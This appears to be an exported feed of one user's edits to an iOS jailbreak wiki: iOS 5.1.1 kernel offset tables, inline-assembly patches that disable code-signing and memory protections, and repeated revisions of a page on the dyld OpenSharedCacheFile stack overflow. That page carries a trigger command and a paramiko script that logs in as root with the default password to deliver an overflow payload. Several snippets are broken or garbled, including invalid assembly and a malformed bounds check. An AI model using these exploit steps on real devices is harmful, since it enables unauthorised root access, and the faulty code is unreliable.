| 0x802CDBB0&lt;br /&gt;
| 0x802CDBB0&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_SYSCALL0_VALUE&lt;br /&gt;
| 0x801B3AA5&lt;br /&gt;
| 0x801B3AA5&lt;br /&gt;
| 0x801B3AA5&lt;br /&gt;
| 0x801B3AA5&lt;br /&gt;
| 0x801B3AA5&lt;br /&gt;
| 0x801B3AA5&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_TASK_FOR_PID0&lt;br /&gt;
| 0x801E05B4&lt;br /&gt;
| 0x801E05B4&lt;br /&gt;
| 0x801E05B4&lt;br /&gt;
| 0x801E05B4&lt;br /&gt;
| 0x801E05B4&lt;br /&gt;
| 0x801E05B4&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_VM_ENTER&lt;br /&gt;
| 0x8004992C&lt;br /&gt;
| 0x8004992C&lt;br /&gt;
| 0x8004992C&lt;br /&gt;
| 0x8004992C&lt;br /&gt;
| 0x8004992C&lt;br /&gt;
| 0x8004992C&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==== iOS 5.1.1r - 9B208 ====&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;font-size:smaller;&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Symbol&lt;br /&gt;
! [[N90ap|n90ap]]&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_CS_ENFORCEMENT&lt;br /&gt;
| 0x80045874&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_FLUSH_DCACHE&lt;br /&gt;
| 0x80072204&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_FLUSH_ICACHE&lt;br /&gt;
| 0x80072304&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_IOLOG&lt;br /&gt;
| 0x802049DD&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_NX_ENABLE&lt;br /&gt;
| 0x802BBB84&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_PE_DEBUGGER&lt;br /&gt;
| 0x8024220C&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_SYSCALL0&lt;br /&gt;
| 0x802CDBB0&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_SYSCALL0_VALUE&lt;br /&gt;
| 0x801B3AA5&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_TASK_FOR_PID0&lt;br /&gt;
| 0x801E05B4&lt;br /&gt;
|-&lt;br /&gt;
| KERNEL_VM_ENTER&lt;br /&gt;
| 0x8004992C&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Patching the kernel (using inline ASM) ==&lt;br /&gt;
&lt;br /&gt;
Here are some functions, patched to be able to be used for jailbreak kernel patches,&lt;br /&gt;
for vm_map_protect here is the function.&lt;br /&gt;
&lt;br /&gt;
  int vm_map_protect_patch()&lt;br /&gt;
  {&lt;br /&gt;
  __asm{&lt;br /&gt;
    AND.W R1, R6, #8&lt;br /&gt;
    CMP R1, #6&lt;br /&gt;
    IT EQ&lt;br /&gt;
    TSTEQ.W R0, #0x40000000&lt;br /&gt;
    BNE loc_8004A96A&lt;br /&gt;
    BIC.W R6, R6, #4&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
For vm_map_enter&lt;br /&gt;
&lt;br /&gt;
  int vm_map_enter_patch()&lt;br /&gt;
  {&lt;br /&gt;
   __asm {&lt;br /&gt;
     LDR R1, [R7,#cur_protection]&lt;br /&gt;
     AND.W R0, R4, #0x80000&lt;br /&gt;
     STR R0, [SP,#0xB8+var_54]&lt;br /&gt;
     STR R1, [SP,#0xB8+var_78]&lt;br /&gt;
     AND.W R0, R1, #8&lt;br /&gt;
     CMP R0, #6&lt;br /&gt;
     ITT EQ&lt;br /&gt;
     LDREQ R0, [SP,#0xB8+var_54]&lt;br /&gt;
     CMPEQ R0, #0&lt;br /&gt;
     BNE loc_800497F0&lt;br /&gt;
     LDR.W R1, =aKern_return_&lt;br /&gt;
     MOVS R0, #0&lt;br /&gt;
     BL sub_8001D608&lt;br /&gt;
     LDR R0, [R7,#cur_protection]&lt;br /&gt;
     BIC.W R0, R0, #4&lt;br /&gt;
     STR R0, [SP,#0xB8+var_78]&lt;br /&gt;
      }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
For cs_enforcement_disable (kernel)&lt;br /&gt;
&lt;br /&gt;
  int cs_kern_patch()&lt;br /&gt;
  {&lt;br /&gt;
    __asm LDR.W R3, =dword_802DE330&lt;br /&gt;
    __asm MRC p15, 0, R0,c13,c0, 4&lt;br /&gt;
    __asm LDR R2, [R4,#0x28]&lt;br /&gt;
    __asm LDR R3, #1&lt;br /&gt;
    __asm CMP R3, #0&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
To use this in an untether, use find_vm_map_enter_patch(), find_vm_map_protect_patch() and find_cs_enforcement_disable_kernel() from &lt;br /&gt;
planetbeings ios-jailbreak-finder, then use bcopy() to copy these functions (which are patched) to the address of the actual functions&lt;br /&gt;
heres an example&lt;br /&gt;
  &lt;br /&gt;
  uint32_t *p = malloc(0xd00000)&lt;br /&gt;
  uint32_t cs_kern = find_cs_enforcement_disable(kernel_file, p, sizeof(p));&lt;br /&gt;
  bcopy((void*)cs_kern_patch, cs_kern, sizeof(cs_kern_patch));&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
* See also the [[:Category:Kernel Patches|category Kernel Patches]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Patches]]&lt;br /&gt;
[[Category:Kernel Patches]]&lt;/div&gt;</summary>
		<author><name>Sjeezpwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=OpenSharedCacheFile&amp;diff=45198</id>
		<title>OpenSharedCacheFile</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=OpenSharedCacheFile&amp;diff=45198"/>
		<updated>2015-03-25T02:21:54Z</updated>

		<summary type="html">&lt;p&gt;Sjeezpwn: /* Exploiting it */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The OpenSharedCacheFile bug was found by [[i0n1c]]. This bug is a simple stack overflow.&lt;br /&gt;
== Opensharedcachefile() function ==&lt;br /&gt;
 int openSharedCacheFile()&lt;br /&gt;
 {&lt;br /&gt;
   char path[1024];&lt;br /&gt;
   strcpy(path, sSharedCacheDir);&lt;br /&gt;
   strcat(path, &amp;quot;/&amp;quot;);&lt;br /&gt;
   strcat(path, DYLD_SHARED_CACHE_BASE_NAME ARCH_NAME);&lt;br /&gt;
   return ::open(path, O_RDONLY);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
== Triggering the vuln ==&lt;br /&gt;
&lt;br /&gt;
To trigger it, run the following&lt;br /&gt;
 DYLD_SHARED_CACHE_DIR = &amp;quot;A&amp;quot; * 2000 \&lt;br /&gt;
 DYLD_SHARED_REGION = private /bin/launchctl&lt;br /&gt;
This will overflow the PC register making it a stack overflow.&lt;br /&gt;
&lt;br /&gt;
== Exploiting it ==&lt;br /&gt;
&lt;br /&gt;
Since this bug can takeover the PC register, you first need to know where the bug starts &lt;br /&gt;
for now lets say it crashes after 1024 A's, so your payload to get root would be&lt;br /&gt;
  junk = &amp;quot;A&amp;quot; * 1024 &lt;br /&gt;
  shellcode = &amp;quot;&amp;quot;&lt;br /&gt;
  payload = &amp;quot;DYLD_SHARED_CACHE_DIR&amp;quot; &lt;br /&gt;
  actual  = payload+junk+shellcode \&lt;br /&gt;
  cmd = &amp;quot;DYLD_SHARED_REGION = &amp;quot;private /bin/launchctl&amp;quot;             &lt;br /&gt;
  ssh = paramiko.SSHClient()&lt;br /&gt;
  server = &amp;quot;&amp;quot; #whatever IP &lt;br /&gt;
  ssh.connect(server, username=&amp;quot;root&amp;quot;, password=&amp;quot;alpine&amp;quot;)&lt;br /&gt;
  ssh.exec_command(actual)&lt;br /&gt;
  ssh.exec_command(cmd)&lt;br /&gt;
&lt;br /&gt;
== Apple's fix ==&lt;br /&gt;
&lt;br /&gt;
I'mguessing they added an if-statement to check for the size sSharedCacheDir&lt;br /&gt;
so like this.&lt;br /&gt;
&lt;br /&gt;
  extern void _ZN4dyld4haltEPKc(const char* msg) __attribute__((noreturn));&lt;br /&gt;
  void __stack_chk_fail()&lt;br /&gt;
  {&lt;br /&gt;
  _ZN4dyld4haltEPKc(&amp;quot;stack buffer overrun&amp;quot;);&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  if(sizeof(sSharedCacheDir &amp;gt;= 1024){&lt;br /&gt;
  __stack_chk_fail();&lt;br /&gt;
  }&lt;/div&gt;</summary>
		<author><name>Sjeezpwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=OpenSharedCacheFile&amp;diff=45197</id>
		<title>OpenSharedCacheFile</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=OpenSharedCacheFile&amp;diff=45197"/>
		<updated>2015-03-25T01:30:14Z</updated>

		<summary type="html">&lt;p&gt;Sjeezpwn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The OpenSharedCacheFile bug was found by [[i0n1c]]. This bug is a simple stack overflow.&lt;br /&gt;
== Opensharedcachefile() function ==&lt;br /&gt;
 int openSharedCacheFile()&lt;br /&gt;
 {&lt;br /&gt;
   char path[1024];&lt;br /&gt;
   strcpy(path, sSharedCacheDir);&lt;br /&gt;
   strcat(path, &amp;quot;/&amp;quot;);&lt;br /&gt;
   strcat(path, DYLD_SHARED_CACHE_BASE_NAME ARCH_NAME);&lt;br /&gt;
   return ::open(path, O_RDONLY);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
== Triggering the vuln ==&lt;br /&gt;
&lt;br /&gt;
To trigger it, run the following&lt;br /&gt;
 DYLD_SHARED_CACHE_DIR = &amp;quot;A&amp;quot; * 2000 \&lt;br /&gt;
 DYLD_SHARED_REGION = private /bin/launchctl&lt;br /&gt;
This will overflow the PC register making it a stack overflow.&lt;br /&gt;
&lt;br /&gt;
== Exploiting it ==&lt;br /&gt;
&lt;br /&gt;
Since this bug can takeover the PC register, you first need to know where the bug starts &lt;br /&gt;
for now lets say it crashes after 1024 A's, so your payload to get root would be&lt;br /&gt;
  junk = &amp;quot;A&amp;quot; * 1024 &lt;br /&gt;
  shellcode = &amp;quot;&amp;quot;&lt;br /&gt;
  payload = &amp;quot;DYLD_SHARED_CACHE_DIR&amp;quot; &lt;br /&gt;
  actual  = payload+junk+shellcode \&lt;br /&gt;
  cmd = &amp;quot;DYLD_SHARED_REGION = &amp;quot;private /bin/launchctl&amp;quot;             &lt;br /&gt;
  ssh = paramiko.SSHClient()&lt;br /&gt;
  server = &amp;quot;&amp;quot; #whatever IP &lt;br /&gt;
  ssh.connect(server, username=root, password=alpine)&lt;br /&gt;
  ssh.exec_command(actual)&lt;br /&gt;
  ssh.exec_command(cmd)&lt;br /&gt;
  &lt;br /&gt;
== Apple's fix ==&lt;br /&gt;
&lt;br /&gt;
I'mguessing they added an if-statement to check for the size sSharedCacheDir&lt;br /&gt;
so like this.&lt;br /&gt;
&lt;br /&gt;
  extern void _ZN4dyld4haltEPKc(const char* msg) __attribute__((noreturn));&lt;br /&gt;
  void __stack_chk_fail()&lt;br /&gt;
  {&lt;br /&gt;
  _ZN4dyld4haltEPKc(&amp;quot;stack buffer overrun&amp;quot;);&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  if(sizeof(sSharedCacheDir &amp;gt;= 1024){&lt;br /&gt;
  __stack_chk_fail();&lt;br /&gt;
  }&lt;/div&gt;</summary>
		<author><name>Sjeezpwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=OpenSharedCacheFile&amp;diff=45196</id>
		<title>OpenSharedCacheFile</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=OpenSharedCacheFile&amp;diff=45196"/>
		<updated>2015-03-25T01:29:27Z</updated>

		<summary type="html">&lt;p&gt;Sjeezpwn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The OpenSharedCacheFile bug was found by [[i0n1c]]. This bug is a simple stack overflow.&lt;br /&gt;
== Opensharedcachefile() function ==&lt;br /&gt;
 int openSharedCacheFile()&lt;br /&gt;
 {&lt;br /&gt;
   char path[1024];&lt;br /&gt;
   strcpy(path, sSharedCacheDir);&lt;br /&gt;
   strcat(path, &amp;quot;/&amp;quot;);&lt;br /&gt;
   strcat(path, DYLD_SHARED_CACHE_BASE_NAME ARCH_NAME);&lt;br /&gt;
   return ::open(path, O_RDONLY);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
== Triggering the vuln ==&lt;br /&gt;
&lt;br /&gt;
To trigger it, run the following&lt;br /&gt;
 DYLD_SHARED_CACHE_DIR = &amp;quot;A&amp;quot; * 2000 \&lt;br /&gt;
 DYLD_SHARED_REGION = private /bin/launchctl&lt;br /&gt;
This will overflow the PC register making it a stack overflow.&lt;br /&gt;
&lt;br /&gt;
== Exploiting it ==&lt;br /&gt;
&lt;br /&gt;
Since this bug can takeover the PC register, you first need to know where the bug starts &lt;br /&gt;
for now lets say it crashes after 1024 A's, so your payload to get root would be&lt;br /&gt;
  junk = &amp;quot;A&amp;quot; * 1024 &lt;br /&gt;
  shellcode = &amp;quot;&amp;quot;&lt;br /&gt;
  payload = &amp;quot;DYLD_SHARED_CACHE_DIR&amp;quot; &lt;br /&gt;
  actual  = payload+junk+shellcode \&lt;br /&gt;
  cmd = &amp;quot;DYLD_SHARED_REGION = &amp;quot;private /bin/launchctl&amp;quot;             &lt;br /&gt;
  ssh = paramiko.SSHClient()&lt;br /&gt;
  server = &amp;quot;&amp;quot; #whatever IP &lt;br /&gt;
  ssh.connect(server, username=root, password=alpine)&lt;br /&gt;
  ssh.exec_command(actual)&lt;br /&gt;
  ssh.exec_command(cmd)&lt;br /&gt;
  &lt;br /&gt;
== Apple's fix ==&lt;br /&gt;
&lt;br /&gt;
I'mguessing they added an if-statement to check for the size sSharedCacheDir&lt;br /&gt;
so like this.&lt;br /&gt;
&lt;br /&gt;
  extern void _ZN4dyld4haltEPKc(const char* msg) __attribute__((noreturn));&lt;br /&gt;
  void __stack_chk_fail()&lt;br /&gt;
  {&lt;br /&gt;
	_ZN4dyld4haltEPKc(&amp;quot;stack buffer overrun&amp;quot;);&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  if(sizeof(sSharedCacheDir &amp;gt;= 1024){&lt;br /&gt;
     __stack_chk_fail();&lt;br /&gt;
  }&lt;/div&gt;</summary>
		<author><name>Sjeezpwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Talk:OpenSharedCacheFile&amp;diff=45194</id>
		<title>Talk:OpenSharedCacheFile</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Talk:OpenSharedCacheFile&amp;diff=45194"/>
		<updated>2015-03-24T22:33:37Z</updated>

		<summary type="html">&lt;p&gt;Sjeezpwn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Does this allow root access? Also, could we add that it was patched in 6.1.3/6.1.4 (possibly 6.1.6, I'll test that)? --[[User:Awesomebing1|Awesomebing1]] ([[User talk:Awesomebing1|talk]]) 02:13, 23 March 2015 (UTC)&lt;br /&gt;
:[http://www.cvedetails.com/cve/CVE-2013-3950/ CVE Details] stands, that the last vulnerable version is 6.1.3. I don't think, that this vulnerability can cause any privilege escalations. --[[User:Rzhikharevich|Rzhikharevich]] ([[User talk:Rzhikharevich|talk]]) 17:16, 23 March 2015 (UTC)&lt;br /&gt;
::I don't know for sure, but since the only changed files are various executables (e.g recompiling stuff) and the OpenSSL fix, there's nothing else changed. I will test this in a bit. --[[User:Awesomebing1|Awesomebing1]] ([[User talk:Awesomebing1|talk]]) 17:17, 23 March 2015 (UTC)&lt;br /&gt;
:::Well, I ran it. Turns out you actually have to put 2000 As. Ugh. Anyway, it outputs &lt;br /&gt;
&amp;lt;pre&amp;gt;dyld: stack buffer overrun&lt;br /&gt;
Trace/BPT trap: 5&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Not sure if that means if it was patched. I'm guessing it means it does, since in the presentation I was copying off it said it Segementation Faulted.--[[User:Awesomebing1|Awesomebing1]] ([[User talk:Awesomebing1|talk]]) 22:20, 23 March 2015 (UTC)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;sjeezpwn&amp;gt;yes this is patched, when i said 1024 A's, that was just a guess, you have to try around 30-40 times to see where the PC register is, once you know where PC is you need to insert your shellcode right after&lt;/div&gt;</summary>
		<author><name>Sjeezpwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Talk:OpenSharedCacheFile&amp;diff=45193</id>
		<title>Talk:OpenSharedCacheFile</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Talk:OpenSharedCacheFile&amp;diff=45193"/>
		<updated>2015-03-24T22:32:52Z</updated>

		<summary type="html">&lt;p&gt;Sjeezpwn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Does this allow root access? Also, could we add that it was patched in 6.1.3/6.1.4 (possibly 6.1.6, I'll test that)? --[[User:Awesomebing1|Awesomebing1]] ([[User talk:Awesomebing1|talk]]) 02:13, 23 March 2015 (UTC)&lt;br /&gt;
:[http://www.cvedetails.com/cve/CVE-2013-3950/ CVE Details] stands, that the last vulnerable version is 6.1.3. I don't think, that this vulnerability can cause any privilege escalations. --[[User:Rzhikharevich|Rzhikharevich]] ([[User talk:Rzhikharevich|talk]]) 17:16, 23 March 2015 (UTC)&lt;br /&gt;
::I don't know for sure, but since the only changed files are various executables (e.g recompiling stuff) and the OpenSSL fix, there's nothing else changed. I will test this in a bit. --[[User:Awesomebing1|Awesomebing1]] ([[User talk:Awesomebing1|talk]]) 17:17, 23 March 2015 (UTC)&lt;br /&gt;
:::Well, I ran it. Turns out you actually have to put 2000 As. Ugh. Anyway, it outputs &lt;br /&gt;
&amp;lt;pre&amp;gt;dyld: stack buffer overrun&lt;br /&gt;
Trace/BPT trap: 5&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Not sure if that means if it was patched. I'm guessing it means it does, since in the presentation I was copying off it said it Segementation Faulted.--[[User:Awesomebing1|Awesomebing1]] ([[User talk:Awesomebing1|talk]]) 22:20, 23 March 2015 (UTC)&lt;br /&gt;
&lt;br /&gt;
yes this is patched, when i said 1024 A's, that was just a guess, you have to try around 30-40 times to see where the PC register is, once you know where PC is you need to insert your shellcode right after&lt;/div&gt;</summary>
		<author><name>Sjeezpwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=OpenSharedCacheFile&amp;diff=45185</id>
		<title>OpenSharedCacheFile</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=OpenSharedCacheFile&amp;diff=45185"/>
		<updated>2015-03-24T19:10:09Z</updated>

		<summary type="html">&lt;p&gt;Sjeezpwn: /* Exploiting it */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The OpenSharedCacheFile bug was found by [[i0n1c]]. This bug is a simple stack overflow.&lt;br /&gt;
== Opensharedcachefile() function ==&lt;br /&gt;
 int openSharedCacheFile()&lt;br /&gt;
 {&lt;br /&gt;
   char path[1024];&lt;br /&gt;
   strcpy(path, sSharedCacheDir);&lt;br /&gt;
   strcat(path, &amp;quot;/&amp;quot;);&lt;br /&gt;
   strcat(path, DYLD_SHARED_CACHE_BASE_NAME ARCH_NAME);&lt;br /&gt;
   return ::open(path, O_RDONLY);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
== Triggering the vuln ==&lt;br /&gt;
&lt;br /&gt;
To trigger it, run the following&lt;br /&gt;
 DYLD_SHARED_CACHE_DIR = &amp;quot;A&amp;quot; * 2000 \&lt;br /&gt;
 DYLD_SHARED_REGION = private /bin/launchctl&lt;br /&gt;
This will overflow the PC register making it a stack overflow.&lt;br /&gt;
&lt;br /&gt;
== Exploiting it ==&lt;br /&gt;
&lt;br /&gt;
Since this bug can takeover the PC register, you first need to know where the bug starts &lt;br /&gt;
for now lets say it crashes after 1024 A's, so your payload to get root would be&lt;br /&gt;
  junk = &amp;quot;A&amp;quot; * 1024 &lt;br /&gt;
  shellcode = &amp;quot;&amp;quot;&lt;br /&gt;
  payload = &amp;quot;DYLD_SHARED_CACHE_DIR&amp;quot; &lt;br /&gt;
  actual  = payload+junk+shellcode \&lt;br /&gt;
  cmd = &amp;quot;DYLD_SHARED_REGION = &amp;quot;private /bin/launchctl&amp;quot;             &lt;br /&gt;
  ssh = paramiko.SSHClient()&lt;br /&gt;
  server = &amp;quot;&amp;quot; #whatever IP &lt;br /&gt;
  ssh.connect(server, username=root, password=alpine)&lt;br /&gt;
  ssh.exec_command(actual)&lt;br /&gt;
  ssh.exec_command(cmd)&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
{{stub}}&lt;/div&gt;</summary>
		<author><name>Sjeezpwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=OpenSharedCacheFile&amp;diff=45173</id>
		<title>OpenSharedCacheFile</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=OpenSharedCacheFile&amp;diff=45173"/>
		<updated>2015-03-24T02:16:10Z</updated>

		<summary type="html">&lt;p&gt;Sjeezpwn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The OpenSharedCacheFile bug was found by [[i0n1c]]. This bug is a simple stack overflow.&lt;br /&gt;
== Opensharedcachefile() function ==&lt;br /&gt;
 int openSharedCacheFile()&lt;br /&gt;
 {&lt;br /&gt;
   char path[1024];&lt;br /&gt;
   strcpy(path, sSharedCacheDir);&lt;br /&gt;
   strcat(path, &amp;quot;/&amp;quot;);&lt;br /&gt;
   strcat(path, DYLD_SHARED_CACHE_BASE_NAME ARCH_NAME);&lt;br /&gt;
   return ::open(path, O_RDONLY);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
== Triggering the vuln ==&lt;br /&gt;
&lt;br /&gt;
To trigger it, run the following&lt;br /&gt;
 DYLD_SHARED_CACHE_DIR = &amp;quot;A&amp;quot; * 2000 \&lt;br /&gt;
 DYLD_SHARED_REGION = private /bin/launchctl&lt;br /&gt;
This will overflow the PC register making it a stack overflow.&lt;br /&gt;
&lt;br /&gt;
== Exploiting it ==&lt;br /&gt;
&lt;br /&gt;
Since this bug can takeover the PC register, you first need to know where the bug starts &lt;br /&gt;
for now lets say it crashes after 1024 A's, so your payload to get root would be&lt;br /&gt;
  junk = &amp;quot;A&amp;quot; * 1024 &lt;br /&gt;
  shellcode = &amp;quot;&amp;quot;&lt;br /&gt;
  payload = DYLD_SHARED_CACHE_DIR = junk+shellcode \&lt;br /&gt;
  cmd = DYLD_SHARED_REGION = private /bin/launchctl&lt;br /&gt;
  ssh = paramiko.SSHClient()&lt;br /&gt;
  server = &amp;quot;&amp;quot; #whatever IP &lt;br /&gt;
  ssh.connect(server, username=root, password=alpine)&lt;br /&gt;
  ssh.exec_command(payload)&lt;br /&gt;
  ssh.exec_command(cmd)&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
{{stub}}&lt;/div&gt;</summary>
		<author><name>Sjeezpwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=OpenSharedCacheFile&amp;diff=45135</id>
		<title>OpenSharedCacheFile</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=OpenSharedCacheFile&amp;diff=45135"/>
		<updated>2015-03-23T00:54:31Z</updated>

		<summary type="html">&lt;p&gt;Sjeezpwn: /* Triggering the vuln = */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The OpenSharedCacheFile bug was found by i0n1c, what this bug is just a simple stack overflow&lt;br /&gt;
== Opensharedcachefile() function ==&lt;br /&gt;
 int openSharedCacheFile()&lt;br /&gt;
 {&lt;br /&gt;
   char path[1024];&lt;br /&gt;
   strcpy(path, sSharedCacheDir);&lt;br /&gt;
   strcat(path, &amp;quot;/&amp;quot;);&lt;br /&gt;
   strcat(path, DYLD_SHARED_CACHE_BASE_NAME ARCH_NAME);&lt;br /&gt;
   return ::open(path, O_RDONLY);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
== Triggering the vuln ==&lt;br /&gt;
&lt;br /&gt;
To trigger it, run the following&lt;br /&gt;
 DYLD_SHARED_CACHE_DIR = “A” * 2000 \&lt;br /&gt;
 DYLD_SHARED_REGION = private /bin/launchctl&lt;br /&gt;
This will overflow the PC register making it a stack overflow.&lt;/div&gt;</summary>
		<author><name>Sjeezpwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=OpenSharedCacheFile&amp;diff=45134</id>
		<title>OpenSharedCacheFile</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=OpenSharedCacheFile&amp;diff=45134"/>
		<updated>2015-03-23T00:54:14Z</updated>

		<summary type="html">&lt;p&gt;Sjeezpwn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The OpenSharedCacheFile bug was found by i0n1c, what this bug is just a simple stack overflow&lt;br /&gt;
== Opensharedcachefile() function ==&lt;br /&gt;
 int openSharedCacheFile()&lt;br /&gt;
 {&lt;br /&gt;
   char path[1024];&lt;br /&gt;
   strcpy(path, sSharedCacheDir);&lt;br /&gt;
   strcat(path, &amp;quot;/&amp;quot;);&lt;br /&gt;
   strcat(path, DYLD_SHARED_CACHE_BASE_NAME ARCH_NAME);&lt;br /&gt;
   return ::open(path, O_RDONLY);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
== Triggering the vuln ===&lt;br /&gt;
&lt;br /&gt;
To trigger it, run the following&lt;br /&gt;
 DYLD_SHARED_CACHE_DIR = “A” * 2000 \&lt;br /&gt;
 DYLD_SHARED_REGION = private /bin/launchctl&lt;br /&gt;
This will overflow the PC register making it a stack overflow.&lt;/div&gt;</summary>
		<author><name>Sjeezpwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=OpenSharedCacheFile&amp;diff=45133</id>
		<title>OpenSharedCacheFile</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=OpenSharedCacheFile&amp;diff=45133"/>
		<updated>2015-03-23T00:53:18Z</updated>

		<summary type="html">&lt;p&gt;Sjeezpwn: Created page with &amp;quot;The OpenSharedCacheFile bug was found by i0n1c, what this bug is just a simple stack overflow == Opensharedcachefile() function == int openSharedCacheFile() {  char path[1024]...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The OpenSharedCacheFile bug was found by i0n1c, what this bug is just a simple stack overflow&lt;br /&gt;
== Opensharedcachefile() function ==&lt;br /&gt;
int openSharedCacheFile()&lt;br /&gt;
{&lt;br /&gt;
 char path[1024];&lt;br /&gt;
 strcpy(path, sSharedCacheDir);&lt;br /&gt;
 strcat(path, &amp;quot;/&amp;quot;);&lt;br /&gt;
 strcat(path, DYLD_SHARED_CACHE_BASE_NAME ARCH_NAME);&lt;br /&gt;
 return ::open(path, O_RDONLY);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
== Triggering the vuln ===&lt;br /&gt;
&lt;br /&gt;
To trigger it, run the following&lt;br /&gt;
DYLD_SHARED_CACHE_DIR = “A” * 2000 \&lt;br /&gt;
DYLD_SHARED_REGION = private /bin/launchctl&lt;br /&gt;
This will overflow the PC register making it a stack overflow.&lt;/div&gt;</summary>
		<author><name>Sjeezpwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=User:Sjeezpwn&amp;diff=45055</id>
		<title>User:Sjeezpwn</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=User:Sjeezpwn&amp;diff=45055"/>
		<updated>2015-03-15T21:14:53Z</updated>

		<summary type="html">&lt;p&gt;Sjeezpwn: Created page with &amp;quot;I code and do other stuff Working on a universal jailbreak tool that jailbreaks and iOS version from IOS 3 to 8, ETA 5 months ???&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;I code and do other stuff&lt;br /&gt;
Working on a universal jailbreak tool that jailbreaks&lt;br /&gt;
and iOS version from IOS 3 to 8, ETA 5 months ???&lt;/div&gt;</summary>
		<author><name>Sjeezpwn</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Jailbreak_Exploits&amp;diff=44400</id>
		<title>Jailbreak Exploits</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Jailbreak_Exploits&amp;diff=44400"/>
		<updated>2015-01-30T02:10:43Z</updated>

		<summary type="html">&lt;p&gt;Sjeezpwn: /* Pangu (7.1 / 7.1.1 / 7.1.2) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This page lists the '''exploits''' used in [[jailbreak]]s.&lt;br /&gt;
&lt;br /&gt;
== Common exploits which are used in order to jailbreak different versions of iOS ==&lt;br /&gt;
* [[Pwnage]] + [[Pwnage 2.0]] (together to jailbreak the [[n82ap|iPhone 3G]])&lt;br /&gt;
* [[ARM7 Go]] (from iOS 2.1.1) (for [[tethered jailbreak]] on [[n72ap|iPod touch 2G]])&lt;br /&gt;
